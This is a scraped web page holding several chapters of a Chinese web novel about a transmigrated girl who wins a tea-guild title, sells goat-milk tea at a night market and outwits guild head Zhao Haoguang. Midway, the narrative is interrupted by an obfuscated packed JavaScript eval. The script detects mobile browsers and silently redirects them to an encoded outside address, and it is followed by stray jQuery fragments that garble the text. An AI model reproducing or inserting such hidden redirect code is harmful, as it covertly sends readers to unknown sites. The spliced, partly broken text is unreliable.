“茶之为饮,发乎神农氏,闻于鲁周公。”她声音清亮,像溪水一样流畅,“齐有晏婴,汉有扬雄、司马相如...” 赵浩广眉头一皱,突然打断:“停!接着背‘其地,上者生烂石’那段。” 江心月眼睛都没眨,张口就来:“其地,上者生烂石,中者生砾壤,下者生黄土......” 窗外的呆六娘听得目瞪口呆,小嘴张得圆圆的。旁边几个考生开始窃窃私语。 “这丫头背得挺熟啊。” “怕是死记硬背吧...” 赵浩广眯起眼睛,突然把《茶经》合上:“那你说说,‘凡采茶,在二月、三月、四月之间’后面是什么?” 江心月不慌不忙,手指轻轻敲着大腿打拍子:“其日有雨不采,晴有云不采。晴,采之、蒸之、捣之......” 她越背越顺,连停顿都没有。 赵浩广的脸色渐渐变了,他转头对旁边的茶博士低声说:“这丫头背得比赵启还溜。” 赵启在后面听得脸都绿了,忍不住插嘴:“光会背书有什么用?茶道讲究的是手上功夫!” 江心月装作没听见,继续往下背。她心里暗笑,这些内容在现代时,她闭着眼睛都能写出来。 “好了好了。”赵浩广摆摆手,“背得不错。不过...”他故意拖长声调,“茶道可不是光靠嘴皮子。” “学生明白。”江心月恭敬地行了个礼,转身时朝窗外的呆六娘眨了眨眼。 呆六娘激动得直跺脚,差点把窗台上的花盆碰倒。江心月走出考场时,她一把抓住江心月的袖子:“三娘!你什么时候把《茶经》背得这么熟了?” 江心月笑而不答,从袖子里掏出个小布包:“给,刚发的考牌。明儿个还有实操呢。” 两人走到巷口,正遇上赵启和他那帮跟班。赵启阴阳怪气地说:“哟,背书背得好有什么用?明天实操见真章!” 呆六娘气得要上前理论,江心月拉住她:“走吧,我请你吃桂花糕。” 走远了,呆六娘还气鼓鼓的:“三娘,你就不生气?” “生气有什么用?”江心月掰开一块桂花糕,“明天让他见识见识,什么叫真功夫。” 第二日清晨,云来茶馆后院挤满了人。江心月站在考生堆里,手指无意识地绞着衣角。 赵浩广慢悠悠地踱到主位,他那双三角眼在人群里扫了一圈,最后停在江心月身上。江心月后背一凉,像被毒蛇盯上的青蛙。 “今日考核,”赵浩广拖着长音,指尖敲着茶案,“就比试‘炙茶’一道。” 江心月心头一跳。炙茶最考验火候,茶叶在火上多滚一下就焦,少滚一下又不够香。 她偷眼瞧了瞧四周,发现其他学徒都一副胸有成竹的样子,有几个还互相递着眼色,显然早就知道考题。 “完了完了...”呆六娘不知什么时候挤到她身边,急得直扯她袖子,“三娘,他们肯定早就知道考题了!” 江心月抿着嘴没说话。她看见赵启正冲她得意地笑,手里还摆弄着个精致的铜炙笼。 “每人一炷香时间。”赵浩广示意小厮点香,“开始吧。” 江心月接过龙凤团茶。这贡茶确实金贵,不仅用金箔包裹,还雕刻着精美的龙凤纹样,据说要用特殊炒法才能激发茶香。 她按照《茶经》记载的方法,将茶饼放在竹夹上烘烤,同时把铜壶架在灶台上烧水。整个鹤鸣堂安静得只能听见炭火噼啪声。 “啪!” 金箔在炭火中突然爆开的脆响惊醒了所有人。 江心月踉跄后退,手中的龙凤团茶掉落在地,碎成三瓣。腾起的茶尘中,飘散着一股奇特的焦糖香气。 “江心月!”赵浩广一把揪住她的发髻,他捏起一撮焦黑的茶末,几乎戳到她鼻尖:“龙凤团茶焙出烟熏味,你说该当何罪?” 江心月这才发现,别人用的都是嫩绿的新茶,唯独她分到的是贡茶。这分明就是一个圈 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最后一缕香灰落下时,江心月捧出茶叶。那些原本发黄的叶片现在泛着深褐色,散发出一股奇特的焦香。 赵浩广捏起几片看了看,眉头越皱越紧。他迟疑地放进嘴里嚼了嚼,突然瞪大眼睛:“这...” “会长,是不是烤糊了?”赵启凑过来问。 赵浩广没理他,又抓了一小撮茶叶泡开。茶汤呈现出琥珀色,飘出一股带着蜜香的独特气味。 “你......”赵浩广盯着江心月,“怎么想到用文火慢炙的?” “陈茶水分少,急火容易焦。”江心月喘着气,“我用炭火的余温慢慢烘,反而能把霉味转化成蜜香。” 学徒们骚动起来,赵启惊呼,“这分明是《毁茶论》里禁止的邪术!” 赵浩广接过茶盏,眉头紧锁:“《毁茶论》明文规定,凡改陆羽古法者,其罪当诛。” 斜阳透过雕花窗棂,在江心月背上投下斑驳的光影。她知道,当《毁茶论》被搬出来时,自己已经很难全身而退了。 赵浩广蘸了点茶汤,在青砖地上写了个“禁”字。 “拖去夜香院!”赵浩广声音冷得像冰,“好好反省!” ———— 深夜的巷子里,馊水车吱呀作响。 江心月提着泔水桶,小心翼翼地把最后一桶倒进暗渠。 她左右张望了一下,确认没人后,轻轻摸了摸怀里用油纸包着的炭焙茶。 这是她冒着风险从茶房顺出来的,要是被赵浩广发现,后果不堪设想。 “这可是改良奶茶的关键。”江心月小声嘀咕着,又把茶包往怀里塞了塞。 就在这时,墙根传来“啪嗒”一声脆响。 “谁在那儿?”江心月心头一跳,举起油灯照过去。昏黄的光线下,半块雕着花纹的琉璃杯静静躺在地上。 她刚蹲下身想捡,突然一只滚烫的手抓住了她的脚踝。 “别出声。”沙哑的男声从馊水桶后传来,“把灯灭了。” 江心月手一抖,差点把油灯摔了。 借着微弱的灯光,她看见一个穿黑衣服的少年蜷缩在桶后,脸色惨白,右手死死按着腹部。 “你受伤了?”江心月压低声音问道。 “不关你的事。”少年咬着牙回答,另一只手却警惕地摸向腰间。 远处传来巡夜卫兵的脚步声和火把的光亮。 江心月一咬牙,扯下自己的腰带就往少年腰间缠去:“别动,我帮你止血。” “你干什么!”少年疼得直抽气。 江心月从怀里掏出炭焙茶,抓了一把按在他伤口上:“这是.....这是我家的止血秘方。” 少年还想说什么,江心月已经麻利地掀开馊水桶上的破布,把两人盖住。 酸臭味熏得她直皱眉,少年的呼吸喷在她耳边,急促而灼热。 “搜!挨家挨户查!”卫兵的脚步声越来越近。 江心月感觉后背都湿透了。少年突然动了动,她赶紧按住他的肩膀:“别出声!” “你......”少年刚要开口,外头突然传来卫兵头子的喊声:“这边没有,去前面看看!” 等脚步声远去,少年一把掀开破布。 晨光里,江心月这才看清他的模样。眉眼清秀却带着几分锐气,虽然虚弱但眼神依然凌厉。 “多谢。”少年扶着墙勉强站起来,踉跄着就要离开。 “等等!”江心月捡起地上的琉璃杯,“你的东西......” 少年回头看了一眼,嘴角扯出一个淡淡的笑容:“送你了。”说完就消失在巷子拐角。 江心月愣在原地,手里还攥着那半块琉璃杯。 她低头看见地上有几颗发了芽的木薯,突然想起什么似的,赶紧把炭焙茶包好塞回怀里。 弯腰捡起木薯的瞬间,一股熟悉的焦糖香气从怀中飘出。这味道,和黑糖珍珠一模一样。 江心月不由得愣住了,一个大胆的想法在她脑海中闪现。 “天干物燥,小心火烛!”远处更夫的喊声将她拉回现实。 她抬头看了看天色,急忙收拾好泔水桶。再不回去,刘管事又要骂人了。 走在回茶房的路上,江心月的心跳仍未平静。 炭焙茶和木薯的组合,或许能复刻出她记忆中的黑糖珍珠奶茶。 这个发现让她既兴奋又忐忑。如果成功,或许就能改变现在的处境;但如果失败,或者被赵浩广发现...... 江心月深吸一口气,加快了脚步。无论如何,她都要试一试。 3. 第 3 章 月光从柴房的破窗漏进来,在地上投下斑驳的光影。 江心月蹲在墙角,手里握着石臼,正捣着几块发了芽的木薯。紫色的汁水顺着陶钵边沿往下淌,在月光下泛着奇异的光泽。 “这颜色倒是特别。”江心月轻声自语,顺手抹了点汁水在手背上。 方才劈柴时不小心划了道口子,这会儿正火辣辣地疼。 “咦?”她惊讶地发现,手上的刺痛感竟然减轻了不少。正想仔细查看,柴房的门突然被人踹开。 “大半夜的,你让人传话叫我来,最好是有要紧事。”赵浩广提着灯笼闯进来,脸上写满不耐烦。 灯笼的光照得他眼下的青影格外明显,显然也是被从睡梦中叫醒的。 江心月站起身,拍了拍裙角沾上的木薯渣:“赵会长,我想跟您做个交易。” “哦?”赵浩广挑了挑眉,灯笼的光在他脸上投下跳动的阴影,“你一个烧火丫头,能跟我做什么交易?” “我把炒茶的法子教给您,”江心月直视着他的眼睛,声音不卑不亢,“您给我茶博士的名号。” 赵浩广摸着下巴上的胡须,若有所思:“昨日在鹤鸣堂,那么多双眼睛看着你被拖下去。要是突然让你当茶博士,怕是说不过去。” “我那日炒的茶,茶香四溢,茶色金黄,”江心月早有准备,语气坚定,“按规矩该评为一等。我凭本事考茶博士,谁也说不出什么来。” 赵浩广在狭小的柴房里踱了几步,灯笼的光影在斑驳的墙面上晃动。 他忽然停下,盯着墙角捣了一半的木薯:“你这是在做什么?” “做些小玩意儿。”江心月不动声色地挪了挪身子,挡住赵浩广的视线,“赵会长考虑得如何?” “倒也是个法子。”赵浩广的目光重新回到江心月脸上,“不过......”他故意拖长了音调,“你当真愿意把炒茶的法子交出来?” “明日一早,”江心月直视着他,“您把茶博士的令牌给我,我就把炒茶的法子一字不落地告诉您。” 柴房里一时安静下来,只有灯笼里的蜡烛偶尔发出轻微的噼啪声。 赵浩广盯着江心月看了半晌,突然笑了:“好,就这么说定了。” 他转身往门外走,又回头补了一句,“但愿你别耍什么花样。” 等赵浩广的脚步声远去,江心月长舒一口气,重新蹲下来捣木薯。 等赵浩广的脚步声彻底远去,江心月才长舒一口气,重新蹲下来继续捣木薯。 她的手有些发抖,但眼神却格外坚定。 她知道,这只是第一步。 明天拿到茶博士的名号后,她才能真正开始实施自己的计划。 天刚蒙蒙亮,江心月就急匆匆地往云来茶馆赶。晨露打湿了她的布鞋,但她顾不上这些。 “赵会长,我来取茶博士的令牌。”江心月站在门外,声音不大不小。 “进来吧。” 江心月推门进去,看见赵浩广正在算账,桌上放着一块崭新的茶博士令牌。 “拿去吧。”赵浩广指了指令牌,“记住你答应的事。” “多谢会长。”江心月拿起令牌,沉甸甸的,上面刻着“云来茶馆”四个字。她小心地揣进怀里,“我这就去教他们炒茶。” 茶房里,几个学徒已经等着了。看见江心月进来,有人露出不屑的表情,有人则好奇地打量她。 “火候要掌握好。”江心月挽起袖子,抓起一把茶叶放进铁锅,“太旺容易糊,太小又出不来香味。” 她一边翻炒一边讲解,手上的动作娴熟得像是做了十几年。 茶叶在锅里发出轻微的噼啪声,渐渐散发出独特的香气。 “看,茶叶开始变色了。”江心月指着锅里的茶叶,“这时候要加快翻炒的速度。” 一个圆脸学徒凑过来:“江...江师傅,这和我们平时学的法子不一样啊。” “是不一样。”江心月笑了笑,“这是新法子,炒出来的茶更香。” 她心里清楚,这炭火炒茶虽然香,但太费工夫,根本不适合大批量生产。不过现在正好借这个机会,给自己晚上摆摊攒点本钱。 “你们谁来试试?”江心月让开位置。 一个瘦高个学徒犹豫着上前,接过铲子。他的手明显有些发抖,茶叶差点翻出锅外。 “别紧张。”江心月扶住他的手,“手腕要这样转,对,就是这样。” 教了大半个时辰,江心月看着几个学徒勉强掌握了基本手法,便擦了擦手:“今天就到这里吧,你们多练习。” 走出茶房,江心月长舒一口气。她摸了摸怀里的令牌,又确认了一下藏在袖袋里的茶叶包。 现在,她得赶紧回家准备晚上摆摊要用的东西。 路过集市时,她买了些新鲜的羊奶和蜂蜜。 想到晚上要尝试的新配方,她的脚步不由得轻快起来。 虽然赵浩广可能会找麻烦,但有了茶博士的身份,至少能让她在夜市站稳脚跟。 回到家,江心月立刻忙活起来。 她把木薯捣碎,过滤出淀粉,又小心地取出珍藏的炭焙茶。 这些可都是她翻身的本钱,一点都不能浪费。 呆六娘捧着蜂蜜罐子,皱着眉头凑近锅边闻了闻:“三娘,你这羊奶配茶叶,真能好喝吗?” “你等着瞧吧!”江心月手里的木勺搅得飞快,锅里的羊奶和茶叶渐渐融合,飘出一股独特的香气。 她心里已经在盘算,等还清了赵浩广的债,一定要在他面前好好出口气。 呆六娘又好奇地问:“你打算卖多少钱一碗啊?” “我昨儿特意去夜市转了一圈,”江心月用手比了个“五”,“差不多的饮品都卖五文钱。” “呸!”陈婶正好推门进来,手里还拎着一篮子新鲜薄荷叶,“人家有名有号的铺子才卖五文,你一个路边摊也敢要这个价?” 她放下篮子,抓起地上的茶叶看了看:“就这种粗茶,你也敢卖五文?真当钱是大风刮来的?” 江心月搅动的手顿了顿。陈婶说得对,她现在最需要的是打开市场。她想了想:“那就卖三文吧,先试试水。” “这还差不多。”陈婶的脸色缓和了些,一边摘薄荷叶一边说,“你呀,别光想着赚钱,先把名声打出去再说。等客人认准了你的手艺,再涨价也不迟。” “陈婶说得是。”江心月连连点头,手上的动作却一点没停。 她往锅里加了一勺蜂蜜,又撒了把陈婶刚摘的薄荷叶。 呆六娘帮忙洗着碗勺,小声问:“三娘,要不要我去借个推车?” “不用,我昨天就跟王大爷说好了。”江心月尝了尝味道,又加了一小撮盐,“他说可以把他的小推车借我们用。” 屋外的天色渐渐暗了下来。江心月加快了动作,把煮好的羊奶茶过滤装桶。 “六娘,帮我数数碗够不够。”江心月擦了擦手,“陈婶,您看这味道还行吗?” 陈婶接过碗抿了一口,眉毛挑了挑:“嗯,有点意思。” 得到陈婶的认可,江心月心里踏实多了。 她麻利地收拾着东西,心里既期待又忐忑。 今晚的夜市,将是她新生活的开始。 暮色渐沉,西市的灯笼一盏盏亮起来。江心月和呆六娘推着小车,在街角找了个位置。 车上那个大陶罐里飘出阵阵奶香,混着茶香,引得路人频频侧目。 “六娘,你来吆喝两声。”江心月支好摊子,擦了擦手。 呆六娘缩了缩脖子:“我...我不敢...” “怕什么,”江心月拍拍她的肩,“就喊‘来尝尝新煮的羊奶茶’。” 呆六娘绞着衣角,声音细如蚊蚋:“来...来尝尝新煮的羊奶茶...” 江心月正要再鼓励她,突然听见一个洪亮的吆喝:“都来尝尝啊!新鲜煮的羊奶茶,三文钱一碗!” 两人回头,看见陈婶叉着腰站在摊前,嗓门大得整条街都能听见。她今天换了件干净的蓝布衫,头发梳得一丝不苟。 一个挑担的货郎抹着汗走过来:“这天热得人嗓子冒烟,来一碗尝尝。” “陈婶?!”江心月又惊又喜。 “愣着干什么?”陈婶瞪她一眼,“赶紧给客人舀茶!” 呆六娘怯生生地问:“陈婶,您怎么......” “路过。”陈婶板着脸,却悄悄朝她眨眨眼,“看你们这笨手笨脚的样儿,急死个人!” 说着,她又扯开嗓子:“热乎乎的羊奶茶,不好喝不要钱!” 江心月麻利地舀了一碗,又撒了把炒香的芝麻。 货郎接过来咕咚咕咚喝下去,眼睛一亮,“这味儿真新鲜!再来一碗!” 旁边卖糖人的老张头也凑过来:“给我也来一碗。” 他咂摸着嘴,“这奶香里带着茶香,不错!” 很快,摊前就围满了人。江心月负责舀茶,呆六娘收钱,陈婶则站在最前面招揽客人。 “热乎乎的羊奶茶,不好喝不要钱!” “大娘,给您多加点蜂蜜。” “小娃娃慢点喝,别烫着。” 夜市的人声越来越喧闹,他们的小摊前始终排着队。 江心月的袖子挽到手肘,露出手臂上沾着的细碎糖霜。她时不时抬头看看月亮的位置,心里盘算着时间。 “三娘,钱袋快装不下了。”呆六娘小声说,脸上掩不住的笑意。 陈婶接过一位老妇人递来的空碗:“怎么样,合口味吗?” 老妇人咂咂嘴:“比光喝羊奶有意思,明儿还来。” 月亮升到中天时,人流渐渐少了。陈婶挑了挑眉:“记住了,做生意就得这样,扭扭捏捏的可不行。” 江心月笑着递上一碗茶:“陈婶,您尝尝。” 陈婶接过来喝了一口,咂咂嘴:“嗯,味儿不错。” 呆六娘小声说:“陈婶,您人真好。” “少拍马屁,”陈婶瞪她一眼,“赶紧干活!” 三人相视一笑,继续忙碌起来。 江心月忙得满头大汗,手里的木勺都快抡出火星子了。 江心月数了数钱袋,嘴角不自觉地上扬。她舀了最后一碗递给陈婶:“今天多亏了您。” 陈婶接过碗,脸上的皱纹舒展开来:“你这丫头,倒是有两下子。”她压低声音,“不过小心着点,赵浩广那边...” 正说着,远处传来一阵骚动。 江心月心头一紧,赶紧收拾起摊子。不管来的是不是赵浩广的人,今晚的收获已经超出预期了。 呆六娘帮忙擦着桌子,小声问:“明天还来吗?” “来,当然来。”江心月把铜钱分成三份,递给陈婶和呆六娘,“这是今天的工钱。” 陈婶把钱推回去:“急什么,等你站稳脚跟再说。” 三人推着小车往回走,夜风送来阵阵花香。 江心月摸了摸怀里的茶博士令牌,第一次觉得,或许真能在这异世闯出一片天地来。 ———— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359025|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵浩广正在账房里拨弄算盘,算珠碰撞的声响在安静的房间里格外清脆。听见敲门声,他头也不抬:“谁啊?” “是我,江心月。”门外传来熟悉的声音。 赵浩广手里的算珠啪嗒掉在桌上,他眯起眼睛:“进来。” 江心月推门而入,把沉甸甸的钱袋放在桌上:“会长,我来还钱。” “这么快?”赵浩广挑起眉毛,上下打量着她,“你该不会是偷的吧?” “这是我卖羊奶茶挣的。”江心月直视着他的眼睛,“您要是不信,可以去夜市打听打听。西市口卖糖人的老张头,东街挑担的李货郎,都是常客。” 赵浩广掂了掂钱袋,沉甸甸的分量让他脸色缓和了些。他凑近些,压低声音:“你这羊奶茶...是怎么调的?” “就是羊奶加茶叶,再放点蜂蜜。”江心月老实回答,手指无意识地摩挲着衣角,“我试了好几种茶叶,最后发现用炒过的茶叶最香。” 赵浩广摸着下巴上的胡须,眼珠转了转:“这样,你再借我十贯钱,我让你在茶行门口摆摊。位置随你挑。” 江心月摇摇头,嘴角挂着礼貌的微笑:“不用了会长,我在夜市摆摊挺好的。”她转身往门口走去,“您要是想喝羊奶茶,随时来夜市找我。” 赵浩广望着她的背影,手里的算盘珠子拨得噼啪响。眼看江心月就要走出门去,他突然喊道:“等等!” 江心月停下脚步,转身问道:“会长还有事?” “那个......”赵浩广咳嗽一声,手指在桌面上敲了敲,“明儿给我留两碗,我让账房去取。” “好嘞。”江心月脸上的笑容真诚了几分,“给您多加一勺蜂蜜。” 等江心月的脚步声远去,赵浩广打开钱袋,一枚一枚数着铜钱。 他又拨了几下算盘,眉头渐渐舒展开来:“这丫头,倒是有点本事。” 账房老李探头进来:“会长,要记账吗?” 赵浩广把钱袋扔给他:“记上。对了,明天派人去夜市...”他顿了顿,改口道,“不,我亲自去尝尝那羊奶茶。” 窗外,夕阳的余晖照在赵浩广的算盘上,金色的光芒映着他若有所思的脸。 而此时的江心月,已经快步走在回夜市的路上,心里盘算着明天要多准备些材料。 ———— 夜市灯火通明,江心月的摊前排着长队。她刚给最后一个挑夫舀完羊奶茶,身后突然传来沉重的脚步声。 “谁准你在这儿摆摊的?”三个彪形大汉粗暴地推开排队的人群,为首的满脸横肉,“交摊位费了吗?” 江心月握紧木勺,指节发白:“这位大哥,我每天都按时交市集管理费。” “那是给官府的,”大汉一脚踹翻她的青花大瓮,乳白的羊奶茶泼洒一地,溅湿了周围人的鞋袜。围观群众发出惊呼,有人不满地嘀咕起来。“咱们赵会长说了,这条街归茶行管。” 江心月正要据理力争,一个清朗的声音从人群后方传来:“赵会长好大的威风。” 人群自动分开,走出一位身着青布长衫的年轻公子。江心月定睛一看,竟是那晚在后巷遇到的受伤男子。 男子弯腰扶起倾倒的大瓮,转向那几个大汉:“回去告诉赵浩广,就说是浔阳秋说的,夜市是百姓谋生的地方,不是他茶行的后院。” 大汉们面面相觑,为首的还想争辩,被同伴拽了拽袖子:“浔阳公子说得对,我们这就走。” 待那三人走远,浔阳秋转向江心月:“没伤着吧?” 江心月摇摇头,蹲下身收拾散落的碗勺:“多谢公子,的伤可大好了?” “托你的福。”浔阳秋眼中带着笑意,“那‘祖传秘药’确实灵验。” “浔阳公子这样的人物,也需要躲躲藏藏?”江心月忍不住打趣道,指的是那晚后巷相遇的情形。 “我常来夜市觅食。”浔阳秋帮她拾起铜钱,“早听说有位卖羊奶茶的姑娘手艺了得,没想到竟是你。” 他嗅了嗅空气中残留的香气,“这是用炒茶调制的?” 江心月惊讶抬头:“公子竟懂茶?” “略通皮毛。”浔阳秋笑了笑,“3我在城西开了间小茶馆,改日请你品鉴。” 正说着,李嬷嬷气喘吁吁地跑来:“江丫头,可算找着你了!赵会长说......” 她瞥见浔阳秋,立刻噤声,局促地站在一旁。 “嬷嬷有事?”江心月问道。 李嬷嬷搓着手:“会长让你明日去茶行一趟,商量养生茶的事。” 浔阳秋闻言挑了挑眉:“赵会长倒是会打算盘。”他转向江心月,“若你信得过我,明天我陪你去。” 江心月看看李嬷嬷,又看看浔阳秋,点头道:“那就有劳公子了。” 待李嬷嬷离开,江心月疑惑道:“公子为何笃定我会去?” “那日刺史求养生茶,”浔阳秋压低声音,“我恰好在场。” 他看向满地狼藉,欲言又止。江心月顺着他的目光,强笑道:“不打紧,收拾干净就好。” 两人蹲下身一起捡拾。浔阳秋突然道:“其实,我可以先借你银钱还债。” 江心月摇头:“多谢好意,但我想靠自己。” “你这倔脾气......”浔阳秋失笑,“倒合我心意。” 江心月耳根一热,赶忙低头继续收拾。 夜市的喧嚣渐渐远去,只剩下碗勺相碰的清脆声响,和两人偶尔的交谈声。月光洒在青石板上,映出两个忙碌的身影。 4. 第 4 章 天刚蒙蒙亮,江心月赶到云来茶馆时,远远就看见浔阳秋蹲在青石阶上。 他指尖捏着半块芝麻糖,正逗弄着一只花猫。那猫儿翘着尾巴去够糖块,爪子在他月白色的衣摆上勾出几道细丝。 “浔阳公子来得可真早。”江心月抱着蓝布包袱匆匆走近,发梢还沾着晨露的水汽。 浔阳秋站起身,拍了拍衣摆:“怕你被老狐狸啃得骨头都不剩。”他压低声音,“一会儿看我眼色行事。” 茶厅里飘着隔夜的陈茶味。赵浩广坐在太师椅上,翡翠扳指有一下没一下地敲着檀木桌面。见两人进来,他头也不抬:“听说刺史府在重金求购养生茶?” 算盘珠子卡在檀木档上,发出刺耳的声响。赵会长眯起眼睛:“跟我耍花样?” 他突然注意到江心月身后的浔阳秋,手里的茶盏一晃,洒出几滴茶水:“这不是浔阳公子吗?” “赵会长客气了。”浔阳秋抬手示意他不必多礼。 赵浩广的指甲在算盘上刮出刺耳声响,“我倒不知,我茶馆的烧火丫头能攀上君潋台的高枝。。” 浔阳秋闻言皱眉,江心月也惊讶地看向他。君潋台是摄政王谢罕的势力,在这皇权更迭的敏感时期,这个身份格外引人注目。 茶厅里一时静得落针可闻。 “罢了!”赵浩广突然坐回椅子上,“我也不是很想知道二位是如何相识的。”他转回正题,“养生茶的事怎么说?” 赵浩广知道今天浔阳秋在这里就意味着他要护着江心月那个丫头,看来只能大事化小,小事化了,自己吃闷亏了。 江心月闻言解开包袱,铜钱哗啦啦铺满半张茶案:“这些天挣的,先还您部分。”她忽然抽出那个靛蓝钱袋晃了晃,“昨儿拾到这个,绣工倒是别致。” 赵浩广扬眉:“威胁我?” “哪能啊。”江心月指尖抚过钱袋上的缠枝纹,“就是觉得眼熟,像张二生前总揣着的那个。” 后厨传来劈柴声,震得梁上灰尘簌簌落下。 “哈哈哈——”赵浩广突然大笑,笑声在茶厅里回荡。 正当两人疑惑时,赵浩广突然沉下脸:“我若是偏要追究呢?” 浔阳秋不紧不慢地开口:“方才路过西厢,见伙计在卸新茶。”他掸了掸袖口,“那霉味儿,熏得对街布庄都在打喷嚏。” 赵浩广猛地站起,太师椅在地上拖出刺耳声响:“浔阳秋!我喊你一声浔阳公子是给君潋台面子,你就真以为能在我这儿撒野?!” 浔阳秋淡定地抿了口茶,不为所动。 “不敢。”江心月上前半步,“只要您宽限三日,三日后若还不上,我亲自去衙门说说张二怎么落河的。” 茶厅顿时安静得可怕。 浔阳秋踱到博古架前,指尖抹过积灰的茶饼:“哟,这不是前年贡茶?都长绿毛了还摆着呢。” 他突然抽出一本账册,“这‘修缮茶碾’支了二十贯,可院里那套......” “放肆!”赵浩广抄起茶盏砸过来。 浔阳秋侧身避开,青瓷盏在江心月脚边炸开,热茶溅湿了她的裙角。 “您当心手抖。”江心月蹲身捡碎片,“上个月陈掌柜不就是手抖打翻烛台,烧了半库房好茶?” 赵浩广额角青筋直跳:“滚!” 两人刚退到门槛,浔阳秋忽然回头:“对街王记药铺新进了巴豆粉,会长若是肠胃不适......” “用不着你操心!” 待两人离开,赵浩广盯着炭盆里烧剩的布片,冷笑一声:“去查查张二那婆娘,嘴还严不严实。” 晨市的喧嚣声从茶厅敞开的窗户飘进来。走到街角,江心月才发觉蓝布包袱早被她攥出了深深的褶皱。 浔阳秋从袖中摸出一块芝麻糖递给她:“尝尝?西街刘寡妇今早现做的。” 江心月接过糖,却没急着吃:“你方才翻的真是账册?” “当然不是!”浔阳秋咬开自己那块糖,笑得狡黠,“你真以为赵浩广看不出来那不是账册?” “那他为何顺着你的话.....”江心月蹙眉,明明刚才剑拔弩张,结果两人都在说假话。 浔阳秋随手将糖纸塞到江心月手里,“你自己都说了,还需要我告诉你吗?”他大步向前,甩开江心月一个身位,“不过是给个台阶下罢了。” 江心月正要追上去问个明白,浔阳秋突然停住脚步:“对了。”他转身看着江心月,“他摔杯子时,账册就摊在案上。那笔二十贯的账,墨迹比别的浅,怕是后来添的。” 他压低声音,继续说道:“东墙那排茶饼,最底下那摞裹着潮州油纸,可咱这儿到潮州的水路,上月才解冻。” 江心月眼睛一亮:“你是说......” “新茶不可能这么快到。”浔阳秋弹走衣襟上的糖渣,“等着瞧,不出两日,他准要低价抛售那批霉茶。” 江心月小口咬着芝麻糖,甜香在口中化开。她突然想通了什么:“所以你是故意......” “嘘——”浔阳秋竖起食指抵在唇前,眼角带着笑意,“有些事,心里明白就好。” 正说着,茶馆后门吱呀开了。两个伙计抬着个木箱鬼鬼祟祟往外走,箱缝里漏出几缕霉味。 江心月眼尖,立刻提高嗓门喊道:“两位大哥,这茶是要往哪儿送啊?” 左边伙计被这突然一问,手一抖,木箱“哐当”砸在地上,七八块茶饼骨碌碌滚到街心。最远那块撞上对街粮铺门槛,扑簌簌落下些黑褐色碎末。 浔阳秋眼疾手快,用折扇挑起半块茶饼,故作惊讶道:“哟,陈掌柜您快看,这茶霉长得比药铺的灵芝还旺,能入药了。” 围观人群渐渐聚拢。 粮铺支起的竹帘晃了晃,掌柜探出头来:“老赵啊,去年拿陈米充新谷,今年又搞这出?拿霉茶充好可不地道!” 木地板咚咚作响,赵浩广气急败坏地冲出来时,浔阳秋正给路人讲解:“金花菌本是制茶良伴,可若混了潮气......” 他忽然掩鼻后退,“这味儿,莫不是掺了去年的陈豆?” “胡说八道!”赵浩广一脚踢开茶饼,“这是岭南新到的......” “岭南茶树三月才抽芽。”江心月捡起茶饼搓了搓,“眼下刚二月,岭南还下着冻雨,这茶芽倒比春笋窜得还急,莫不是赵老板在院里支了暖棚?” 人群里爆出几声闷笑,卖糖人的老孙头把铜勺敲得铛铛响:“上月初八我来进货,亲眼见着他们往后院搬潮棉被!” 赵浩广额角青筋突突直跳,一把揪住伙计衣领:“谁让你们搬出来的!” “这不是您吩咐的......” “放你娘的屁!”他扬手要打,被粮店掌柜横插进来架住胳膊。 看热闹的早围了三层,卖鲜鱼的吴婶挎着竹篮往前挤,两条鲫鱼在人群头顶扑腾出银亮水花。 浔阳秋用指节轻敲门框:“这酸腐气倒像我家厨子腌坏了的酱豆......” “你懂个球!”赵浩广挣开拉扯,靴底狠狠碾碎半块茶饼,“这是正儿八经的......” “正儿八经的雨前茶?”江心月截过话头,指尖搓着茶渣举到他眼前,“雨水节气才过三天,您家茶树是长了翅膀飞过南岭的?” 整条街都热闹起来。布庄伙计端着浆糊盆探头张望,药铺学徒举着捣药杵凑热闹,各家商铺都支起了窗板看戏。 赵浩广紫红着脸往后院退,一不小心绊在门槛上,险些栽进晒茶笸箩里。 “都散了都散了!”他挥着袖子驱赶人群,“今日茶馆盘点,不做生意!” 粮店掌柜掸了掸衣襟:“老赵啊,我那库房还堆着几筐新茶......” “退!给你退!”木门“砰”地关上,震得门楣“云来茶馆”的金漆牌匾晃了三晃。 回后巷的路上,江心月突然笑出声:“你瞧见没?他脸涨得通红。” 浔阳秋却蹙眉:“这两日当心些,他怕是要狗急跳墙。”他压低声音,“今晚我让两个伙计去你摊上帮忙,以防万一。” 江心月点点头,心里却盘算着另一件事——那些霉茶,或许能成为扳倒赵浩广的关键证据。 街边卖早点的摊贩吆喝声此起彼伏,蒸笼掀开时腾起的热气模糊了行人的身影。 江心月看着身旁这个深藏不露的公子,忽然觉得今晨的阳光格外明媚。 “走吧,”浔阳秋指了指前面的早点摊,“我请你吃碗豆腐脑。待会儿还得去准备羊奶茶呢。” 江心月点点头。 ———— 果然,当夜三更,茶行库房突然起了火。 江心月踮脚往晾衣绳上搭蓝布。呆六娘坐在藤条凳上剥青豆,豆壳噼里啪啦往陶盆里蹦。 “要我说,你今早就不该当街揭赵老板的短。”呆六娘小声嘀咕,“上回他往米缸掺砂石,刘铁匠不过说了两句,转头他家狗就瘸了腿。” “他敢动我的狗试试?”江心月甩开湿衣裳,水珠子溅到呆六娘脸上,“昨儿陈大娘来买茶,喝得直吐酸水......” “浔阳公子竟然是君潋台的,真是想不到。”呆六娘利索地剥开青豆,还是忍不住感叹。 “只要他没有坏心思,我管他是什么台的。”江心月叉着腰,“而且我一个烧火丫头有什么可图谋的?” “虽说如此,但凡事还是要留个心眼。”呆六娘点头如捣蒜,像是在说服自己。 就在这时,木门突然被拍得砰砰响,浔阳秋的声音夹着急促的喘息:“心月!快开门!” 呆六娘吓得手里的豆子撒了一地。 江心月急忙拽开门闩,只见浔阳秋的月白衫子沾着墙灰,平日总捏着折扇的手正死死扒着门框。 “别晾 